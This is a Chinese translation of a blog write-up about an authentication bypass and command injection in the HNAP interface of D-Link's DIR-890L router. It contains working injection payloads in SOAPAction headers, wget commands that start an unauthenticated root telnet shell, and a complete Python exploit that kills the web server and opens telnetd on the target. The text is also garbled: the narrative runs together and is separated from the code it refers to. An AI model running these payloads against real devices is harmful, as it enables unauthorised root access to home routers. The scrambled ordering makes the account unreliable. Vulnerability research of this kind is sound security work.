from:http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/
之前的6個月,D-Link都不斷使壞,把我整的暈頭轉向。今天我想找些樂子,登陸他們的網站,結果就看到了慘不忍睹的一幕:
D-Link’s $300 DIR-890L router
這個路由器上運行的固件有很多bug,而最變態的地方在于,它居然跟D-link多年來在各種路由器上使用的固件一模一樣。點我看小視頻
按照慣例,我們先獲取最新版本的固件,然后使用binwalk來分析它,可以看到以下的信息:
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/7"
116 0x74LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes
1835124 0x1C0074PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes
1835156 0x1C0094Squashfs filesystem, little endian, version 4.0, compression:xz, size: 13852268 bytes, 2566 inodes, blocksize: 131072 bytes, created: 2015-02-11 09:18:37
貌似這是個非常標準的linux固件鏡像。只要你在過去的幾年里分析過任何一個D-Link的固件,沒準就會知道以下的目錄結構:
#!bash
$ ls squashfs-root
bin dev etc home htdocs include lib mnt mydlink proc sbin sys tmp usr var www
和HTTP/UPnP/HNAP有關的所有文件都存放在htdocs目錄下。其中cgibin文件最有意思,這是一個ARM ELF格式的二進制文件,將被WEB服務器執行,所有CGI,UPnP和HNAP的功能都通過軟連接指向這個程序。
#!bash
$ ls -l htdocs/web/*.cgi
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin
這玩意錯綜復雜,不過沒關系,有了字符串就可以找到每個功能對應的函數了。
程序首先會把argv[0]參數和軟連接的名稱作比較,來決定要執行什么樣的動作。(argv[0]
是由軟鏈接的名稱來決定的,比如WEB服務器執行htdocs/web/captcha.cgi -> /htdocs/cgibin的話,cgibin獲得到的argv[0]
就會包含catpcha.cgi,那么程序就可以跳到catpcha的功能函數當中執行)
“Staircase” code graph, typical of if-else statements
每個軟連接名稱都是通過strcmp函數來比較的:
Function handlers for various symlinks
這樣一來, 我們很容易就可以通過符號鏈接的名稱來找到對應的函數功能代碼,然后給它重新起個合適的名字:
Renamed symlink function handlers
既然發現了這些函數,那我們就開始找bug吧!
其他的一些D-Link設備,同樣也運行這個固件,他們的HTTP和UPnP接口已經被發現存在漏洞。然而,HNAP接口(存在于cgibin中的hnap_main函數)似乎一直被忽視。
SOAPAction頭在HNAP請求中特別重要,因為它指定了HNAP所要進行的操作。(以上這個請求執行的是AddPortMapping這個功能) 在接近函數末尾的部分,程序使用了sprintf函數動態構造一條shell命令,這條命令將被傳入system函數執行: 很明顯,hnap_main使用了請求頭中的SOAPAction頭作為系統命令的一部分!如果SOAPAction頭沒有被過濾,而且進入的這段函數不需要認證,那么這很有可能是一個命令注入的bug。 回到hnap_main函數的開頭,程序首先檢查SOAPAction頭是否為http://purenetworks.com/HNAP1/GetDeviceSettings,如果是,則跳過認證。這是我們預料之中的,并且我們已經確定,GetDeviceSettings功能是不需要認證的。 然而,可以注意到,strstr被用于字符串檢查,這就表明了,SOAPAction頭只要包含http://purenetworks.com/HNAP1/GetDeviceSettings字符串,就可以通過檢查,繞過認證。 上圖代碼會解析出Action名(類似GetDeviceSettings),它將被帶入sprintf函數,構造出被system執行的命令。 以下是這個漏洞產生的兩個重要原因: 將reboot命令替換成telnetd,就可以開啟路由器的telnet服務,獲得一個無需認證的root權限shell: 如果開啟了遠程管理功能,HNAP請求將向WAN開放,這就使遠程利用成為可能。當然,路由器的防火墻將阻斷來自WAN的telnet連接。有一個簡單的解決辦法,就是結束HTTP服務器進程,將telnet服務器的端口設置成和HTTP服務器相同: wget請求將會被掛起,因為cgibin會等待telnetd返回。下面是用Python寫的一個利用程序: 我已經在v1.00和v1.03版本的固件上進行了測試(v1.03版本的固件為截至目前的最新版本),都存在漏洞。那么其他設備是否也存在同樣的漏洞呢? 據我所知,HNAP協議在任何設備上都無法被禁用。 更新:POST /HNAP1 HTTP/1.1
Host: 192.168.0.1
Authorization: Basic YWMEHZY+
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<AddPortMapping xmlns="http://purenetworks.com/HNAP1/">
<PortMappingDescription>foobar</PortMappingDescription>
<InternalClient>192.168.0.100</InternalClient>
<PortMappingProtocol>TCP</PortMappingProtocol>
<ExternalPort>1234</ExternalPort>
<InternalPort>1234</InternalPort>
</AddPortMapping>
</soap:Body>
</soap:Envelope>
由于web服務器將cgibin作為CGI來執行,所以hnap_main函數可以通過環境變量訪問到HNAP的請求數據,比如SOAPAction頭:SOAPAction = getenv(“HTTP_SOAPACTION”);
sprintf(command, “sh %s%s.sh > /dev/console”, “/var/run/”, SOAPAction);
if(strstr(SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”) != NULL)
所以,如果SOAPAction頭包含字符串http://purenetworks.com/HNAP1/GetDeviceSettings,代碼將會從請求頭中解析出Action的名稱(例如GetDeviceSettings)并且會移除字符串最后的雙引號。SOAPAction = strrchr(SOAPAction, ‘/’);
以下的C語言代碼可以幫助大家進一步了解程序中的邏輯錯誤:#!c
/* Grab a pointer to the SOAPAction header */
SOAPAction = getenv("HTTP_SOAPACTION");
/* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */
if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL)
{
/* do auth check */
}
/* Do a reverse search for the last forward slash in the SOAPAction header */
SOAPAction = strrchr(SOAPAction, '/');
if(SOAPAction != NULL)
{
/* Point the SOAPAction pointer one byte beyond the last forward slash */
SOAPAction += 1;
/* Get rid of any trailing double quotes */
if(SOAPAction[strlen(SOAPAction)-1] == '"')
{
SOAPAction[strlen(SOAPAction)-1] = '\0';
}
}
else
{
goto failure_condition;
}
/* Build the command using the specified SOAPAction string and execute it */
sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);
system(command);
1.如果SOAPAction頭包含http://purenetworks.com/HNAP1/GetDeviceSettings字符串,那么就不需要認證。
2.程序會將SOAPAction頭中最后一個/后的字符串被帶入sprintf構造shell命令,并且調用system函數進行執行。
因此,我們很容易就可以構造出一個SOAPAction報頭,既可以繞過認證,又可以將任意命令帶入系統執行:SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"
#!bash
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1
$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
#!bash
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1
$ telnet 1.2.3.4 8080
Trying 1.2.3.4...
Connected to 1.2.3.4.
Escape character is '^]'.
BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
#!python
#!/usr/bin/env python
import sys
import urllib2
import httplib
try:
ip_port = sys.argv[1].split(':')
ip = ip_port[0]
if len(ip_port) == 2:
port = ip_port[1]
elif len(ip_port) == 1:
port = "80"
else:
raise IndexError
except IndexError:
print "Usage: %s <target ip:port>" % sys.argv[0]
sys.exit(1)
url = "http://%s:%s/HNAP1" % (ip, port)
# NOTE: If exploiting from the LAN, telnetd can be started on
# any port; killing the http server and re-using its port
# is not necessary.
#
# Killing off all hung hnap processes ensures that we can
# re-start httpd later.
command = "killall httpd; killall hnap; telnetd -p %s" % port
headers = {
"SOAPAction" : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command,
}
req = urllib2.Request(url, None, headers)
try:
urllib2.urlopen(req)
raise Exception("Unexpected response")
except httplib.BadStatusLine:
print "Exploit sent, try telnetting to %s:%s!" % (ip, port)
print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'"
sys.exit(0)
except Exception:
print "Received an unexpected response from the server; exploit probably failed. :("
0x02 結語
分析所有設備固件很乏味,所以我將這個漏洞交給Centrifuge團隊,這個團隊擁有一套自動分析系統。他們發現至少以下這些設備存在漏洞:
這個漏洞似乎在今年早些時候被Samuel Huntly發現,但是只在DIR-645被報告和修復。這個補丁看起來很傻比,所以我們還是期待后續吧。